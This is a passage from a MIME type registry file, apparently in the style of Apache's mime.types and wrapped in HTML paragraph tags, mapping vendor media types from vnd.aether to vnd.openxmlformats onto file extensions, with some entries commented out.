<p>
	# application/vnd.aether.imp
</p>
<p>
	# application/vnd.ah-barcode
</p>
<p>
	application/vnd.ahead.space			ahead
</p>
<p>
	application/vnd.airzip.filesecure.azf		azf
</p>
<p>
	application/vnd.airzip.filesecure.azs		azs
</p>
<p>
	application/vnd.amazon.ebook			azw
</p>
<p>
	# application/vnd.amazon.mobi8-ebook
</p>
<p>
	application/vnd.americandynamics.acc		acc
</p>
<p>
	application/vnd.amiga.ami			ami
</p>
<p>
	# application/vnd.amundsen.maze+xml
</p>
<p>
	application/vnd.android.package-archive		apk
</p>
<p>
	# application/vnd.anki
</p>
<p>
	application/vnd.anser-web-certificate-issue-initiation	cii
</p>
<p>
	application/vnd.anser-web-funds-transfer-initiation	fti
</p>
<p>
	application/vnd.antix.game-component		atx
</p>
<p>
	# application/vnd.apache.thrift.binary
</p>
<p>
	# application/vnd.apache.thrift.compact
</p>
<p>
	# application/vnd.apache.thrift.json
</p>
<p>
	# application/vnd.api+json
</p>
<p>
	application/vnd.apple.installer+xml		mpkg
</p>
<p>
	application/vnd.apple.mpegurl			m3u8
</p>
<p>
	# application/vnd.arastra.swi
</p>
<p>
	application/vnd.aristanetworks.swi		swi
</p>
<p>
	# application/vnd.artsquare
</p>
<p>
	application/vnd.astraea-software.iota		iota
</p>
<p>
	application/vnd.audiograph			aep
</p>
<p>
	# application/vnd.autopackage
</p>
<p>
	# application/vnd.avistar+xml
</p>
<p>
	# application/vnd.balsamiq.bmml+xml
</p>
<p>
	# application/vnd.balsamiq.bmpr
</p>
<p>
	# application/vnd.bekitzur-stech+json
</p>
<p>
	# application/vnd.biopax.rdf+xml
</p>
<p>
	application/vnd.blueice.multipass		mpm
</p>
<p>
	# application/vnd.bluetooth.ep.oob
</p>
<p>
	# application/vnd.bluetooth.le.oob
</p>
<p>
	application/vnd.bmi				bmi
</p>
<p>
	application/vnd.businessobjects			rep
</p>
<p>
	# application/vnd.cab-jscript
</p>
<p>
	# application/vnd.canon-cpdl
</p>
<p>
	# application/vnd.canon-lips
</p>
<p>
	# application/vnd.cendio.thinlinc.clientconf
</p>
<p>
	# application/vnd.century-systems.tcp_stream
</p>
<p>
	application/vnd.chemdraw+xml			cdxml
</p>
<p>
	# application/vnd.chess-pgn
</p>
<p>
	application/vnd.chipnuts.karaoke-mmd		mmd
</p>
<p>
	application/vnd.cinderella			cdy
</p>
<p>
	# application/vnd.cirpack.isdn-ext
</p>
<p>
	# application/vnd.citationstyles.style+xml
</p>
<p>
	application/vnd.claymore			cla
</p>
<p>
	application/vnd.cloanto.rp9			rp9
</p>
<p>
	application/vnd.clonk.c4group			c4g c4d c4f c4p c4u
</p>
<p>
	application/vnd.cluetrust.cartomobile-config		c11amc
</p>
<p>
	application/vnd.cluetrust.cartomobile-config-pkg	c11amz
</p>
<p>
	# application/vnd.coffeescript
</p>
<p>
	# application/vnd.collection+json
</p>
<p>
	# application/vnd.collection.doc+json
</p>
<p>
	# application/vnd.collection.next+json
</p>
<p>
	# application/vnd.comicbook+zip
</p>
<p>
	# application/vnd.commerce-battelle
</p>
<p>
	application/vnd.commonspace			csp
</p>
<p>
	application/vnd.contact.cmsg			cdbcmsg
</p>
<p>
	# application/vnd.coreos.ignition+json
</p>
<p>
	application/vnd.cosmocaller			cmc
</p>
<p>
	application/vnd.crick.clicker			clkx
</p>
<p>
	application/vnd.crick.clicker.keyboard		clkk
</p>
<p>
	application/vnd.crick.clicker.palette		clkp
</p>
<p>
	application/vnd.crick.clicker.template		clkt
</p>
<p>
	application/vnd.crick.clicker.wordbank		clkw
</p>
<p>
	application/vnd.criticaltools.wbs+xml		wbs
</p>
<p>
	application/vnd.ctc-posml			pml
</p>
<p>
	# application/vnd.ctct.ws+xml
</p>
<p>
	# application/vnd.cups-pdf
</p>
<p>
	# application/vnd.cups-postscript
</p>
<p>
	application/vnd.cups-ppd			ppd
</p>
<p>
	# application/vnd.cups-raster
</p>
<p>
	# application/vnd.cups-raw
</p>
<p>
	# application/vnd.curl
</p>
<p>
	application/vnd.curl.car			car
</p>
<p>
	application/vnd.curl.pcurl			pcurl
</p>
<p>
	# application/vnd.cyan.dean.root+xml
</p>
<p>
	# application/vnd.cybank
</p>
<p>
	application/vnd.dart				dart
</p>
<p>
	application/vnd.data-vision.rdz			rdz
</p>
<p>
	# application/vnd.debian.binary-package
</p>
<p>
	application/vnd.dece.data			uvf uvvf uvd uvvd
</p>
<p>
	application/vnd.dece.ttml+xml			uvt uvvt
</p>
<p>
	application/vnd.dece.unspecified		uvx uvvx
</p>
<p>
	application/vnd.dece.zip			uvz uvvz
</p>
<p>
	application/vnd.denovo.fcselayout-link		fe_launch
</p>
<p>
	# application/vnd.desmume.movie
</p>
<p>
	# application/vnd.dir-bi.plate-dl-nosuffix
</p>
<p>
	# application/vnd.dm.delegation+xml
</p>
<p>
	application/vnd.dna				dna
</p>
<p>
	# application/vnd.document+json
</p>
<p>
	application/vnd.dolby.mlp			mlp
</p>
<p>
	# application/vnd.dolby.mobile.1
</p>
<p>
	# application/vnd.dolby.mobile.2
</p>
<p>
	# application/vnd.doremir.scorecloud-binary-document
</p>
<p>
	application/vnd.dpgraph				dpg
</p>
<p>
	application/vnd.dreamfactory			dfac
</p>
<p>
	# application/vnd.drive+json
</p>
<p>
	application/vnd.ds-keypoint			kpxx
</p>
<p>
	# application/vnd.dtg.local
</p>
<p>
	# application/vnd.dtg.local.flash
</p>
<p>
	# application/vnd.dtg.local.html
</p>
<p>
	application/vnd.dvb.ait				ait
</p>
<p>
	# application/vnd.dvb.dvbj
</p>
<p>
	# application/vnd.dvb.esgcontainer
</p>
<p>
	# application/vnd.dvb.ipdcdftnotifaccess
</p>
<p>
	# application/vnd.dvb.ipdcesgaccess
</p>
<p>
	# application/vnd.dvb.ipdcesgaccess2
</p>
<p>
	# application/vnd.dvb.ipdcesgpdd
</p>
<p>
	# application/vnd.dvb.ipdcroaming
</p>
<p>
	# application/vnd.dvb.iptv.alfec-base
</p>
<p>
	# application/vnd.dvb.iptv.alfec-enhancement
</p>
<p>
	# application/vnd.dvb.notif-aggregate-root+xml
</p>
<p>
	# application/vnd.dvb.notif-container+xml
</p>
<p>
	# application/vnd.dvb.notif-generic+xml
</p>
<p>
	# application/vnd.dvb.notif-ia-msglist+xml
</p>
<p>
	# application/vnd.dvb.notif-ia-registration-request+xml
</p>
<p>
	# application/vnd.dvb.notif-ia-registration-response+xml
</p>
<p>
	# application/vnd.dvb.notif-init+xml
</p>
<p>
	# application/vnd.dvb.pfr
</p>
<p>
	application/vnd.dvb.service			svc
</p>
<p>
	# application/vnd.dxr
</p>
<p>
	application/vnd.dynageo				geo
</p>
<p>
	# application/vnd.dzr
</p>
<p>
	# application/vnd.easykaraoke.cdgdownload
</p>
<p>
	# application/vnd.ecdis-update
</p>
<p>
	application/vnd.ecowin.chart			mag
</p>
<p>
	# application/vnd.ecowin.filerequest
</p>
<p>
	# application/vnd.ecowin.fileupdate
</p>
<p>
	# application/vnd.ecowin.series
</p>
<p>
	# application/vnd.ecowin.seriesrequest
</p>
<p>
	# application/vnd.ecowin.seriesupdate
</p>
<p>
	# application/vnd.emclient.accessrequest+xml
</p>
<p>
	application/vnd.enliven				nml
</p>
<p>
	# application/vnd.enphase.envoy
</p>
<p>
	# application/vnd.eprints.data+xml
</p>
<p>
	application/vnd.epson.esf			esf
</p>
<p>
	application/vnd.epson.msf			msf
</p>
<p>
	application/vnd.epson.quickanime		qam
</p>
<p>
	application/vnd.epson.salt			slt
</p>
<p>
	application/vnd.epson.ssf			ssf
</p>
<p>
	# application/vnd.ericsson.quickcall
</p>
<p>
	application/vnd.eszigno3+xml			es3 et3
</p>
<p>
	# application/vnd.etsi.aoc+xml
</p>
<p>
	# application/vnd.etsi.asic-e+zip
</p>
<p>
	# application/vnd.etsi.asic-s+zip
</p>
<p>
	# application/vnd.etsi.cug+xml
</p>
<p>
	# application/vnd.etsi.iptvcommand+xml
</p>
<p>
	# application/vnd.etsi.iptvdiscovery+xml
</p>
<p>
	# application/vnd.etsi.iptvprofile+xml
</p>
<p>
	# application/vnd.etsi.iptvsad-bc+xml
</p>
<p>
	# application/vnd.etsi.iptvsad-cod+xml
</p>
<p>
	# application/vnd.etsi.iptvsad-npvr+xml
</p>
<p>
	# application/vnd.etsi.iptvservice+xml
</p>
<p>
	# application/vnd.etsi.iptvsync+xml
</p>
<p>
	# application/vnd.etsi.iptvueprofile+xml
</p>
<p>
	# application/vnd.etsi.mcid+xml
</p>
<p>
	# application/vnd.etsi.mheg5
</p>
<p>
	# application/vnd.etsi.overload-control-policy-dataset+xml
</p>
<p>
	# application/vnd.etsi.pstn+xml
</p>
<p>
	# application/vnd.etsi.sci+xml
</p>
<p>
	# application/vnd.etsi.simservs+xml
</p>
<p>
	# application/vnd.etsi.timestamp-token
</p>
<p>
	# application/vnd.etsi.tsl+xml
</p>
<p>
	# application/vnd.etsi.tsl.der
</p>
<p>
	# application/vnd.eudora.data
</p>
<p>
	application/vnd.ezpix-album			ez2
</p>
<p>
	application/vnd.ezpix-package			ez3
</p>
<p>
	# application/vnd.f-secure.mobile
</p>
<p>
	# application/vnd.fastcopy-disk-image
</p>
<p>
	application/vnd.fdf				fdf
</p>
<p>
	application/vnd.fdsn.mseed			mseed
</p>
<p>
	application/vnd.fdsn.seed			seed dataless
</p>
<p>
	# application/vnd.ffsns
</p>
<p>
	# application/vnd.filmit.zfc
</p>
<p>
	# application/vnd.fints
</p>
<p>
	# application/vnd.firemonkeys.cloudcell
</p>
<p>
	application/vnd.flographit			gph
</p>
<p>
	application/vnd.fluxtime.clip			ftc
</p>
<p>
	# application/vnd.font-fontforge-sfd
</p>
<p>
	application/vnd.framemaker			fm frame maker book
</p>
<p>
	application/vnd.frogans.fnc			fnc
</p>
<p>
	application/vnd.frogans.ltf			ltf
</p>
<p>
	application/vnd.fsc.weblaunch			fsc
</p>
<p>
	application/vnd.fujitsu.oasys			oas
</p>
<p>
	application/vnd.fujitsu.oasys2			oa2
</p>
<p>
	application/vnd.fujitsu.oasys3			oa3
</p>
<p>
	application/vnd.fujitsu.oasysgp			fg5
</p>
<p>
	application/vnd.fujitsu.oasysprs		bh2
</p>
<p>
	# application/vnd.fujixerox.art-ex
</p>
<p>
	# application/vnd.fujixerox.art4
</p>
<p>
	application/vnd.fujixerox.ddd			ddd
</p>
<p>
	application/vnd.fujixerox.docuworks		xdw
</p>
<p>
	application/vnd.fujixerox.docuworks.binder	xbd
</p>
<p>
	# application/vnd.fujixerox.docuworks.container
</p>
<p>
	# application/vnd.fujixerox.hbpl
</p>
<p>
	# application/vnd.fut-misnet
</p>
<p>
	application/vnd.fuzzysheet			fzs
</p>
<p>
	application/vnd.genomatix.tuxedo		txd
</p>
<p>
	# application/vnd.geo+json
</p>
<p>
	# application/vnd.geocube+xml
</p>
<p>
	application/vnd.geogebra.file			ggb
</p>
<p>
	application/vnd.geogebra.tool			ggt
</p>
<p>
	application/vnd.geometry-explorer		gex gre
</p>
<p>
	application/vnd.geonext				gxt
</p>
<p>
	application/vnd.geoplan				g2w
</p>
<p>
	application/vnd.geospace			g3w
</p>
<p>
	# application/vnd.gerber
</p>
<p>
	# application/vnd.globalplatform.card-content-mgt
</p>
<p>
	# application/vnd.globalplatform.card-content-mgt-response
</p>
<p>
	application/vnd.gmx				gmx
</p>
<p>
	application/vnd.google-earth.kml+xml		kml
</p>
<p>
	application/vnd.google-earth.kmz		kmz
</p>
<p>
	# application/vnd.gov.sk.e-form+xml
</p>
<p>
	# application/vnd.gov.sk.e-form+zip
</p>
<p>
	# application/vnd.gov.sk.xmldatacontainer+xml
</p>
<p>
	application/vnd.grafeq				gqf gqs
</p>
<p>
	# application/vnd.gridmp
</p>
<p>
	application/vnd.groove-account			gac
</p>
<p>
	application/vnd.groove-help			ghf
</p>
<p>
	application/vnd.groove-identity-message		gim
</p>
<p>
	application/vnd.groove-injector			grv
</p>
<p>
	application/vnd.groove-tool-message		gtm
</p>
<p>
	application/vnd.groove-tool-template		tpl
</p>
<p>
	application/vnd.groove-vcard			vcg
</p>
<p>
	# application/vnd.hal+json
</p>
<p>
	application/vnd.hal+xml				hal
</p>
<p>
	application/vnd.handheld-entertainment+xml	zmm
</p>
<p>
	application/vnd.hbci				hbci
</p>
<p>
	# application/vnd.hcl-bireports
</p>
<p>
	# application/vnd.hdt
</p>
<p>
	# application/vnd.heroku+json
</p>
<p>
	application/vnd.hhe.lesson-player		les
</p>
<p>
	application/vnd.hp-hpgl				hpgl
</p>
<p>
	application/vnd.hp-hpid				hpid
</p>
<p>
	application/vnd.hp-hps				hps
</p>
<p>
	application/vnd.hp-jlyt				jlt
</p>
<p>
	application/vnd.hp-pcl				pcl
</p>
<p>
	application/vnd.hp-pclxl			pclxl
</p>
<p>
	# application/vnd.httphone
</p>
<p>
	application/vnd.hydrostatix.sof-data		sfd-hdstx
</p>
<p>
	# application/vnd.hyperdrive+json
</p>
<p>
	# application/vnd.hzn-3d-crossword
</p>
<p>
	# application/vnd.ibm.afplinedata
</p>
<p>
	# application/vnd.ibm.electronic-media
</p>
<p>
	application/vnd.ibm.minipay			mpy
</p>
<p>
	application/vnd.ibm.modcap			afp listafp list3820
</p>
<p>
	application/vnd.ibm.rights-management		irm
</p>
<p>
	application/vnd.ibm.secure-container		sc
</p>
<p>
	application/vnd.iccprofile			icc icm
</p>
<p>
	# application/vnd.ieee.1905
</p>
<p>
	application/vnd.igloader			igl
</p>
<p>
	application/vnd.immervision-ivp			ivp
</p>
<p>
	application/vnd.immervision-ivu			ivu
</p>
<p>
	# application/vnd.ims.imsccv1p1
</p>
<p>
	# application/vnd.ims.imsccv1p2
</p>
<p>
	# application/vnd.ims.imsccv1p3
</p>
<p>
	# application/vnd.ims.lis.v2.result+json
</p>
<p>
	# application/vnd.ims.lti.v2.toolconsumerprofile+json
</p>
<p>
	# application/vnd.ims.lti.v2.toolproxy+json
</p>
<p>
	# application/vnd.ims.lti.v2.toolproxy.id+json
</p>
<p>
	# application/vnd.ims.lti.v2.toolsettings+json
</p>
<p>
	# application/vnd.ims.lti.v2.toolsettings.simple+json
</p>
<p>
	# application/vnd.informedcontrol.rms+xml
</p>
<p>
	# application/vnd.informix-visionary
</p>
<p>
	# application/vnd.infotech.project
</p>
<p>
	# application/vnd.infotech.project+xml
</p>
<p>
	# application/vnd.innopath.wamp.notification
</p>
<p>
	application/vnd.insors.igm			igm
</p>
<p>
	application/vnd.intercon.formnet		xpw xpx
</p>
<p>
	application/vnd.intergeo			i2g
</p>
<p>
	# application/vnd.intertrust.digibox
</p>
<p>
	# application/vnd.intertrust.nncp
</p>
<p>
	application/vnd.intu.qbo			qbo
</p>
<p>
	application/vnd.intu.qfx			qfx
</p>
<p>
	# application/vnd.iptc.g2.catalogitem+xml
</p>
<p>
	# application/vnd.iptc.g2.conceptitem+xml
</p>
<p>
	# application/vnd.iptc.g2.knowledgeitem+xml
</p>
<p>
	# application/vnd.iptc.g2.newsitem+xml
</p>
<p>
	# application/vnd.iptc.g2.newsmessage+xml
</p>
<p>
	# application/vnd.iptc.g2.packageitem+xml
</p>
<p>
	# application/vnd.iptc.g2.planningitem+xml
</p>
<p>
	application/vnd.ipunplugged.rcprofile		rcprofile
</p>
<p>
	application/vnd.irepository.package+xml		irp
</p>
<p>
	application/vnd.is-xpr				xpr
</p>
<p>
	application/vnd.isac.fcs			fcs
</p>
<p>
	application/vnd.jam				jam
</p>
<p>
	# application/vnd.japannet-directory-service
</p>
<p>
	# application/vnd.japannet-jpnstore-wakeup
</p>
<p>
	# application/vnd.japannet-payment-wakeup
</p>
<p>
	# application/vnd.japannet-registration
</p>
<p>
	# application/vnd.japannet-registration-wakeup
</p>
<p>
	# application/vnd.japannet-setstore-wakeup
</p>
<p>
	# application/vnd.japannet-verification
</p>
<p>
	# application/vnd.japannet-verification-wakeup
</p>
<p>
	application/vnd.jcp.javame.midlet-rms		rms
</p>
<p>
	application/vnd.jisp				jisp
</p>
<p>
	application/vnd.joost.joda-archive		joda
</p>
<p>
	# application/vnd.jsk.isdn-ngn
</p>
<p>
	application/vnd.kahootz				ktz ktr
</p>
<p>
	application/vnd.kde.karbon			karbon
</p>
<p>
	application/vnd.kde.kchart			chrt
</p>
<p>
	application/vnd.kde.kformula			kfo
</p>
<p>
	application/vnd.kde.kivio			flw
</p>
<p>
	application/vnd.kde.kontour			kon
</p>
<p>
	application/vnd.kde.kpresenter			kpr kpt
</p>
<p>
	application/vnd.kde.kspread			ksp
</p>
<p>
	application/vnd.kde.kword			kwd kwt
</p>
<p>
	application/vnd.kenameaapp			htke
</p>
<p>
	application/vnd.kidspiration			kia
</p>
<p>
	application/vnd.kinar				kne knp
</p>
<p>
	application/vnd.koan				skp skd skt skm
</p>
<p>
	application/vnd.kodak-descriptor		sse
</p>
<p>
	application/vnd.las.las+xml			lasxml
</p>
<p>
	# application/vnd.liberty-request+xml
</p>
<p>
	application/vnd.llamagraphics.life-balance.desktop	lbd
</p>
<p>
	application/vnd.llamagraphics.life-balance.exchange+xml	lbe
</p>
<p>
	application/vnd.lotus-1-2-3			123
</p>
<p>
	application/vnd.lotus-approach			apr
</p>
<p>
	application/vnd.lotus-freelance			pre
</p>
<p>
	application/vnd.lotus-notes			nsf
</p>
<p>
	application/vnd.lotus-organizer			org
</p>
<p>
	application/vnd.lotus-screencam			scm
</p>
<p>
	application/vnd.lotus-wordpro			lwp
</p>
<p>
	application/vnd.macports.portpkg		portpkg
</p>
<p>
	# application/vnd.mapbox-vector-tile
</p>
<p>
	# application/vnd.marlin.drm.actiontoken+xml
</p>
<p>
	# application/vnd.marlin.drm.conftoken+xml
</p>
<p>
	# application/vnd.marlin.drm.license+xml
</p>
<p>
	# application/vnd.marlin.drm.mdcf
</p>
<p>
	# application/vnd.mason+json
</p>
<p>
	# application/vnd.maxmind.maxmind-db
</p>
<p>
	application/vnd.mcd				mcd
</p>
<p>
	application/vnd.medcalcdata			mc1
</p>
<p>
	application/vnd.mediastation.cdkey		cdkey
</p>
<p>
	# application/vnd.meridian-slingshot
</p>
<p>
	application/vnd.mfer				mwf
</p>
<p>
	application/vnd.mfmp				mfm
</p>
<p>
	# application/vnd.micro+json
</p>
<p>
	application/vnd.micrografx.flo			flo
</p>
<p>
	application/vnd.micrografx.igx			igx
</p>
<p>
	# application/vnd.microsoft.portable-executable
</p>
<p>
	# application/vnd.miele+json
</p>
<p>
	application/vnd.mif				mif
</p>
<p>
	# application/vnd.minisoft-hp3000-save
</p>
<p>
	# application/vnd.mitsubishi.misty-guard.trustweb
</p>
<p>
	application/vnd.mobius.daf			daf
</p>
<p>
	application/vnd.mobius.dis			dis
</p>
<p>
	application/vnd.mobius.mbk			mbk
</p>
<p>
	application/vnd.mobius.mqy			mqy
</p>
<p>
	application/vnd.mobius.msl			msl
</p>
<p>
	application/vnd.mobius.plc			plc
</p>
<p>
	application/vnd.mobius.txf			txf
</p>
<p>
	application/vnd.mophun.application		mpn
</p>
<p>
	application/vnd.mophun.certificate		mpc
</p>
<p>
	# application/vnd.motorola.flexsuite
</p>
<p>
	# application/vnd.motorola.flexsuite.adsi
</p>
<p>
	# application/vnd.motorola.flexsuite.fis
</p>
<p>
	# application/vnd.motorola.flexsuite.gotap
</p>
<p>
	# application/vnd.motorola.flexsuite.kmr
</p>
<p>
	# application/vnd.motorola.flexsuite.ttc
</p>
<p>
	# application/vnd.motorola.flexsuite.wem
</p>
<p>
	# application/vnd.motorola.iprm
</p>
<p>
	application/vnd.mozilla.xul+xml			xul
</p>
<p>
	# application/vnd.ms-3mfdocument
</p>
<p>
	application/vnd.ms-artgalry			cil
</p>
<p>
	# application/vnd.ms-asf
</p>
<p>
	application/vnd.ms-cab-compressed		cab
</p>
<p>
	# application/vnd.ms-color.iccprofile
</p>
<p>
	application/vnd.ms-excel			xls xlm xla xlc xlt xlw
</p>
<p>
	application/vnd.ms-excel.addin.macroenabled.12		xlam
</p>
<p>
	application/vnd.ms-excel.sheet.binary.macroenabled.12	xlsb
</p>
<p>
	application/vnd.ms-excel.sheet.macroenabled.12		xlsm
</p>
<p>
	application/vnd.ms-excel.template.macroenabled.12	xltm
</p>
<p>
	application/vnd.ms-fontobject			eot
</p>
<p>
	application/vnd.ms-htmlhelp			chm
</p>
<p>
	application/vnd.ms-ims				ims
</p>
<p>
	application/vnd.ms-lrm				lrm
</p>
<p>
	# application/vnd.ms-office.activex+xml
</p>
<p>
	application/vnd.ms-officetheme			thmx
</p>
<p>
	# application/vnd.ms-opentype
</p>
<p>
	# application/vnd.ms-package.obfuscated-opentype
</p>
<p>
	application/vnd.ms-pki.seccat			cat
</p>
<p>
	application/vnd.ms-pki.stl			stl
</p>
<p>
	# application/vnd.ms-playready.initiator+xml
</p>
<p>
	application/vnd.ms-powerpoint			ppt pps pot
</p>
<p>
	application/vnd.ms-powerpoint.addin.macroenabled.12		ppam
</p>
<p>
	application/vnd.ms-powerpoint.presentation.macroenabled.12	pptm
</p>
<p>
	application/vnd.ms-powerpoint.slide.macroenabled.12		sldm
</p>
<p>
	application/vnd.ms-powerpoint.slideshow.macroenabled.12		ppsm
</p>
<p>
	application/vnd.ms-powerpoint.template.macroenabled.12		potm
</p>
<p>
	# application/vnd.ms-printdevicecapabilities+xml
</p>
<p>
	# application/vnd.ms-printing.printticket+xml
</p>
<p>
	# application/vnd.ms-printschematicket+xml
</p>
<p>
	application/vnd.ms-project			mpp mpt
</p>
<p>
	# application/vnd.ms-tnef
</p>
<p>
	# application/vnd.ms-windows.devicepairing
</p>
<p>
	# application/vnd.ms-windows.nwprinting.oob
</p>
<p>
	# application/vnd.ms-windows.printerpairing
</p>
<p>
	# application/vnd.ms-windows.wsd.oob
</p>
<p>
	# application/vnd.ms-wmdrm.lic-chlg-req
</p>
<p>
	# application/vnd.ms-wmdrm.lic-resp
</p>
<p>
	# application/vnd.ms-wmdrm.meter-chlg-req
</p>
<p>
	# application/vnd.ms-wmdrm.meter-resp
</p>
<p>
	application/vnd.ms-word.document.macroenabled.12	docm
</p>
<p>
	application/vnd.ms-word.template.macroenabled.12	dotm
</p>
<p>
	application/vnd.ms-works			wps wks wcm wdb
</p>
<p>
	application/vnd.ms-wpl				wpl
</p>
<p>
	application/vnd.ms-xpsdocument			xps
</p>
<p>
	# application/vnd.msa-disk-image
</p>
<p>
	application/vnd.mseq				mseq
</p>
<p>
	# application/vnd.msign
</p>
<p>
	# application/vnd.multiad.creator
</p>
<p>
	# application/vnd.multiad.creator.cif
</p>
<p>
	# application/vnd.music-niff
</p>
<p>
	application/vnd.musician			mus
</p>
<p>
	application/vnd.muvee.style			msty
</p>
<p>
	application/vnd.mynfc				taglet
</p>
<p>
	# application/vnd.ncd.control
</p>
<p>
	# application/vnd.ncd.reference
</p>
<p>
	# application/vnd.nervana
</p>
<p>
	# application/vnd.netfpx
</p>
<p>
	application/vnd.neurolanguage.nlu		nlu
</p>
<p>
	# application/vnd.nintendo.nitro.rom
</p>
<p>
	# application/vnd.nintendo.snes.rom
</p>
<p>
	application/vnd.nitf				ntf nitf
</p>
<p>
	application/vnd.noblenet-directory		nnd
</p>
<p>
	application/vnd.noblenet-sealer			nns
</p>
<p>
	application/vnd.noblenet-web			nnw
</p>
<p>
	# application/vnd.nokia.catalogs
</p>
<p>
	# application/vnd.nokia.conml+wbxml
</p>
<p>
	# application/vnd.nokia.conml+xml
</p>
<p>
	# application/vnd.nokia.iptv.config+xml
</p>
<p>
	# application/vnd.nokia.isds-radio-presets
</p>
<p>
	# application/vnd.nokia.landmark+wbxml
</p>
<p>
	# application/vnd.nokia.landmark+xml
</p>
<p>
	# application/vnd.nokia.landmarkcollection+xml
</p>
<p>
	# application/vnd.nokia.n-gage.ac+xml
</p>
<p>
	application/vnd.nokia.n-gage.data		ngdat
</p>
<p>
	application/vnd.nokia.n-gage.symbian.install	n-gage
</p>
<p>
	# application/vnd.nokia.ncd
</p>
<p>
	# application/vnd.nokia.pcd+wbxml
</p>
<p>
	# application/vnd.nokia.pcd+xml
</p>
<p>
	application/vnd.nokia.radio-preset		rpst
</p>
<p>
	application/vnd.nokia.radio-presets		rpss
</p>
<p>
	application/vnd.novadigm.edm			edm
</p>
<p>
	application/vnd.novadigm.edx			edx
</p>
<p>
	application/vnd.novadigm.ext			ext
</p>
<p>
	# application/vnd.ntt-local.content-share
</p>
<p>
	# application/vnd.ntt-local.file-transfer
</p>
<p>
	# application/vnd.ntt-local.ogw_remote-access
</p>
<p>
	# application/vnd.ntt-local.sip-ta_remote
</p>
<p>
	# application/vnd.ntt-local.sip-ta_tcp_stream
</p>
<p>
	application/vnd.oasis.opendocument.chart		odc
</p>
<p>
	application/vnd.oasis.opendocument.chart-template	otc
</p>
<p>
	application/vnd.oasis.opendocument.database		odb
</p>
<p>
	application/vnd.oasis.opendocument.formula		odf
</p>
<p>
	application/vnd.oasis.opendocument.formula-template	odft
</p>
<p>
	application/vnd.oasis.opendocument.graphics		odg
</p>
<p>
	application/vnd.oasis.opendocument.graphics-template	otg
</p>
<p>
	application/vnd.oasis.opendocument.image		odi
</p>
<p>
	application/vnd.oasis.opendocument.image-template	oti
</p>
<p>
	application/vnd.oasis.opendocument.presentation		odp
</p>
<p>
	application/vnd.oasis.opendocument.presentation-template	otp
</p>
<p>
	application/vnd.oasis.opendocument.spreadsheet		ods
</p>
<p>
	application/vnd.oasis.opendocument.spreadsheet-template	ots
</p>
<p>
	application/vnd.oasis.opendocument.text			odt
</p>
<p>
	application/vnd.oasis.opendocument.text-master		odm
</p>
<p>
	application/vnd.oasis.opendocument.text-template	ott
</p>
<p>
	application/vnd.oasis.opendocument.text-web		oth
</p>
<p>
	# application/vnd.obn
</p>
<p>
	# application/vnd.oftn.l10n+json
</p>
<p>
	# application/vnd.oipf.contentaccessdownload+xml
</p>
<p>
	# application/vnd.oipf.contentaccessstreaming+xml
</p>
<p>
	# application/vnd.oipf.cspg-hexbinary
</p>
<p>
	# application/vnd.oipf.dae.svg+xml
</p>
<p>
	# application/vnd.oipf.dae.xhtml+xml
</p>
<p>
	# application/vnd.oipf.mippvcontrolmessage+xml
</p>
<p>
	# application/vnd.oipf.pae.gem
</p>
<p>
	# application/vnd.oipf.spdiscovery+xml
</p>
<p>
	# application/vnd.oipf.spdlist+xml
</p>
<p>
	# application/vnd.oipf.ueprofile+xml
</p>
<p>
	# application/vnd.oipf.userprofile+xml
</p>
<p>
	application/vnd.olpc-sugar			xo
</p>
<p>
	# application/vnd.oma-scws-config
</p>
<p>
	# application/vnd.oma-scws-http-request
</p>
<p>
	# application/vnd.oma-scws-http-response
</p>
<p>
	# application/vnd.oma.bcast.associated-procedure-parameter+xml
</p>
<p>
	# application/vnd.oma.bcast.drm-trigger+xml
</p>
<p>
	# application/vnd.oma.bcast.imd+xml
</p>
<p>
	# application/vnd.oma.bcast.ltkm
</p>
<p>
	# application/vnd.oma.bcast.notification+xml
</p>
<p>
	# application/vnd.oma.bcast.provisioningtrigger
</p>
<p>
	# application/vnd.oma.bcast.sgboot
</p>
<p>
	# application/vnd.oma.bcast.sgdd+xml
</p>
<p>
	# application/vnd.oma.bcast.sgdu
</p>
<p>
	# application/vnd.oma.bcast.simple-symbol-container
</p>
<p>
	# application/vnd.oma.bcast.smartcard-trigger+xml
</p>
<p>
	# application/vnd.oma.bcast.sprov+xml
</p>
<p>
	# application/vnd.oma.bcast.stkm
</p>
<p>
	# application/vnd.oma.cab-address-book+xml
</p>
<p>
	# application/vnd.oma.cab-feature-handler+xml
</p>
<p>
	# application/vnd.oma.cab-pcc+xml
</p>
<p>
	# application/vnd.oma.cab-subs-invite+xml
</p>
<p>
	# application/vnd.oma.cab-user-prefs+xml
</p>
<p>
	# application/vnd.oma.dcd
</p>
<p>
	# application/vnd.oma.dcdc
</p>
<p>
	application/vnd.oma.dd2+xml			dd2
</p>
<p>
	# application/vnd.oma.drm.risd+xml
</p>
<p>
	# application/vnd.oma.group-usage-list+xml
</p>
<p>
	# application/vnd.oma.lwm2m+json
</p>
<p>
	# application/vnd.oma.lwm2m+tlv
</p>
<p>
	# application/vnd.oma.pal+xml
</p>
<p>
	# application/vnd.oma.poc.detailed-progress-report+xml
</p>
<p>
	# application/vnd.oma.poc.final-report+xml
</p>
<p>
	# application/vnd.oma.poc.groups+xml
</p>
<p>
	# application/vnd.oma.poc.invocation-descriptor+xml
</p>
<p>
	# application/vnd.oma.poc.optimized-progress-report+xml
</p>
<p>
	# application/vnd.oma.push
</p>
<p>
	# application/vnd.oma.scidm.messages+xml
</p>
<p>
	# application/vnd.oma.xcap-directory+xml
</p>
<p>
	# application/vnd.omads-email+xml
</p>
<p>
	# application/vnd.omads-file+xml
</p>
<p>
	# application/vnd.omads-folder+xml
</p>
<p>
	# application/vnd.omaloc-supl-init
</p>
<p>
	# application/vnd.onepager
</p>
<p>
	# application/vnd.openblox.game+xml
</p>
<p>
	# application/vnd.openblox.game-binary
</p>
<p>
	# application/vnd.openeye.oeb
</p>
<p>
	application/vnd.openofficeorg.extension		oxt
</p>
<p>
	# application/vnd.openxmlformats-officedocument.custom-properties+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.customxmlproperties+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.drawing+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.drawingml.chart+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.drawingml.chartshapes+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.drawingml.diagramcolors+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.drawingml.diagramdata+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.drawingml.diagramlayout+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.drawingml.diagramstyle+xml
